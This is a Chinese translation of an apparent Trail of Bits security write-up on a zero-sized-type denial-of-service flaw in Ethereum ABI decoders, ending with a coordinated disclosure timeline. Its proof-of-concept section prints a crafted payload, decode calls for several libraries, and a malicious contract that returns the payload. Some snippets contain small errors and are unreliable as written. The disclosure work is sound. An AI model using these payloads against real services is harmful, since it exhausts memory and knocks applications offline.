以太坊ABI解析器中的十亿次空耗漏洞:零大小类型引发的DoS攻击

本文深入分析了以太坊ABI解析器中存在的零大小类型(ZST)漏洞,该漏洞可导致拒绝服务攻击,影响eth_abi、ethabi等多个主流库,并详细介绍了漏洞原理、PoC验证和协调披露过程。

十亿次空耗 - Trail of Bits博客

什么是以太坊ABI?

当链上合约交互或链下组件与合约通信时,以太坊使用ABI编码对请求和响应进行编码。该编码不自我描述,相反,编码器和解码器需要提供定义所表示数据类型的模式。与C编程语言中平台相关的ABI相比,以太坊规定了如何以二进制表示形式在应用程序之间传递数据。尽管该规范不是正式的,但它很好地理解了数据交换的方式。

目前,该规范存在于Solidity文档中。ABI定义影响了智能合约语言(如Solidity和Vyper)中使用的类型。

理解漏洞

零大小类型(ZST)是在磁盘上存储需要零(或最小)字节但在内存中表示时需要更多字节的数据类型。以太坊ABI允许零大小类型(ZST)。ZST可通过强制应用程序分配大量内存来处理少量磁盘或网络表示,从而导致拒绝服务(DoS)攻击。

考虑以下示例:当解析器遇到ZST数组时会发生什么?它应尝试解析数组声称包含的尽可能多的ZST。因为每个数组元素占用零字节,所以定义非常大的ZST数组是微不足道的。

作为一个具体示例,下图显示了20个磁盘字节的有效负载,它将反序列化为数字2、1和3的数组。第二个8个磁盘字节的有效负载将反序列化为232个ZST元素(如空元组或空数组)。

如果每个ZST在解析后占用零字节内存,这不会成为问题。实际上,这种情况很少见。通常,每个元素将需要少量但非零的内存来存储,导致表示整个数组的巨大分配。这导致了拒绝服务攻击。

稳健的解析器设计对于防止崩溃、误解、挂起或过度资源使用等严重问题至关重要。此类问题的根本原因可能在于规范或实现。

在以太坊ABI的情况下,我认为规范本身存在缺陷。它有机会明确禁止零大小类型(ZST),但未能这样做。这一疏忽与最新的Solidity和Vyper版本形成对比,在这些版本中,定义ZST(如空元组或数组)是不可能的。

为了确保最大安全性,必须精心设计文件格式规范,并严格强化其实现,以避免不可预见的行为。

概念验证

让我们深入探讨一些展示多个库中漏洞的示例。我们将数据有效负载定义为:

1
2
0000000000000000000000000000000000000000000000000000000000000020
00000000000000000000000000000000000000000000000000000000FFFFFFFF

有效负载由两个32字节块组成,描述了一个序列化的ZST数组。第一个块定义了数组元素的偏移量。第二个块定义了数组的长度。无论编程语言如何,我们始终将其称为有效负载。

我们将尝试使用ABI模式()[]uint32[0][]通过几个不同的以太坊ABI解析库来解码此有效负载。前者是空元组的动态数组,后者是空静态数组的动态数组。动态和静态之间的区别很重要,因为空静态数组占用零字节,而动态数组占用几个字节,因为它序列化数组的长度。

eth_abi (Python)

以下Python程序使用官方的eth_abi库(<4.2.0);程序将首先挂起,然后因内存不足错误而终止。

1
2
3
from eth_abi import decode
data = bytearray.fromhex(payload)
decode(['()[]'], data)

eth_abi库仅支持空元组表示;空静态数组未定义。

ethabi (Rust)

ethabi库(v18.0.0)允许直接从其CLI触发漏洞。

1
cargo run -- decode params -t "uint32[0][]" $payload

ethers-rs (Rust)

以下Rust程序使用ethers-rs库和通过Rust类型Vec<[u32; 0]>隐式对应的模式uint32[0][]

1
2
3
use ethers::abi::AbiEncode;
let data = hex::decode(payload);
let _ = Vec::<[u32; 0]>::decode(&hex_output.unwrap()).unwrap();

它容易受到DoS问题的影响,因为ethers-rs库(v2.0.10)使用了ethabi。

foundry (Rust)

foundry工具包使用ethers-rs,这表明DoS向量也应该存在其中。事实证明确实如此!

一种触发漏洞的方法是通过CLI直接解码有效负载,就像在ethabi中一样。

1
cast --abi-decode "abc()(uint256[0][])" $payload

另一个更有趣的概念验证是部署以下恶意智能合约。它使用汇编返回与有效负载匹配的数据。

1
2
3
4
5
6
7
8
9
contract ABC {
    fallback() external {
        bytes memory data = abi.encode(0x20, 0xfffffffff);

        assembly {
            return(add(data, 0x20), mload(data))
        }
    }
}

如果定义了合约的返回类型,它可能导致CLI工具挂起和巨大内存消耗。以下命令在测试网上调用合约。

1
2
3
4
cast call --private-key \
0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 \
-r http://127.0.0.1:8545 0x5fbdb2315678afecb367f032d93f642f64180aa3 \
"abc() returns (uint256[0][])"

alloy-rs

如果解码有效负载,alloy-rs(0.4.2)中的ABI解析器会遇到与其他库相同的挂起。

1
2
3
use alloy_dyn_abi::{DynSolType, DynSolValue};
let my_type: DynSolType = "()[]".parse().unwrap();
let decoded = my_type.abi_decode(&hex::decode($payload).unwrap()).unwrap();

ethereumjs-abi

最后,ABI解析器ethereumjs-abi(0.6.8)库也容易受到攻击。

1
2
3
4
var abi = require('ethereumjs-abi')
data = Buffer.from($payload", "hex")
abi.rawDecode([ "uint32[]" ], data)
// or this call: abi.rawDecode([ "uint32[0][]" ], data)

其他库

go-ethereum和ethers.js库没有此漏洞,因为它们隐式禁止ZST。这些库期望数组的每个元素至少32字节长。web3.js库也不受影响,因为它使用ethers-js。

漏洞的发现过程

测试此类漏洞的想法是在我偶然发现borsh-rs库中的一个问题后产生的。该Rust库尝试在恒定时间内解析ZST数组,这导致了未定义行为,以缓解DoS向量。库的作者最终决定完全禁止ZST。在另一次审计中,自定义ABI解析器在解析ZST时也有DoS向量。鉴于这两个问题不太可能是巧合,我们调查了其他ABI解析库以寻找此类漏洞。

如何利用

此漏洞是否可利用取决于受影响库的使用方式。在上述示例中,演示目标是CLI工具。

我没有找到一种方法来制作触发此漏洞的智能合约并将其部署到主网。这主要是因为Solidity和Vyper程序在其最新版本中禁止ZST。

然而,使用上述任何库的应用程序都可能容易受到攻击。一个潜在易受攻击的应用程序示例是Etherscan,它解析不受信任的ABI声明。此外,任何从合约获取和解码数据的链下软件如果允许用户指定ABI类型,也可能容易受到此漏洞的攻击。

模糊测试你的解码器!

解码器中的漏洞通常很容易通过模糊测试解码例程来捕获,因为输入通常是字节数组,可以直接用作模糊测试器的输入。当然,也有例外,比如最近的libwebp 0-day(CVE-2023-4863),它没有通过OSS-fuzz中无数小时的模糊测试发现。

在Trail of Bits的审计中,我们采用模糊测试来识别漏洞,并教育客户如何进行自己的模糊测试。我们旨在将我们的模糊测试器贡献给Google的OSS-fuzz以进行持续测试,从而通过优先处理关键审计组件来补充手动审查。我们正在更新我们的测试手册,这是一个为开发人员和安全专业人员准备的详尽资源,包括优化模糊测试器配置和自动化分析工具在整个软件开发生命周期中的具体指导。

协调披露

作为披露过程的一部分,我们向库作者报告了漏洞。

  • eth_abi (Python):以太坊拥有的库通过私有GitHub咨询修复了漏洞。该漏洞在v4.2.0版本中修复。
  • ethabi (Rust) 和 alloy-rs:crate的维护者要求我们在禁运期结束后打开GitHub问题。我们在此处和此处创建了相应的问题。
  • ethereumjs-abi:我们没有收到项目的回复,因此创建了GitHub问题。
  • ethers-rs 和 foundry:我们通知了项目关于它们使用ethabi(Rust)的情况。我们期望它们尽快更新到ethabi的修补版本或切换到另一个ABI解码实现。一般社区将通过发布ethabi和alloy-rs的RustSec咨询以及eth_abi(Python)的GitHub咨询来通知。

披露时间线如下:

  • 2023年6月30日:首次联系ethabi(Rust)、eth_abi(Python)、alloy-rs和ethereumjs-abi crate的维护者。

  • 2023年6月30日:alloy-rs维护者通知应创建GitHub问题。

  • 2023年6月30日:eth_abi(Python)项目的首次回应和内部分类开始。

  • 2023年8月2日:为eth_abi(Python)在GitHub上创建私有安全咨询。

  • 2023年8月31日:eth_abi(Python)发布了修复,未公开提及DoS向量。我们后来验证了此修复。

  • 2023年12月29日:发布此博客文章以及ethabi、alloy-rs和ethereumjs-abi存储库中的GitHub问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计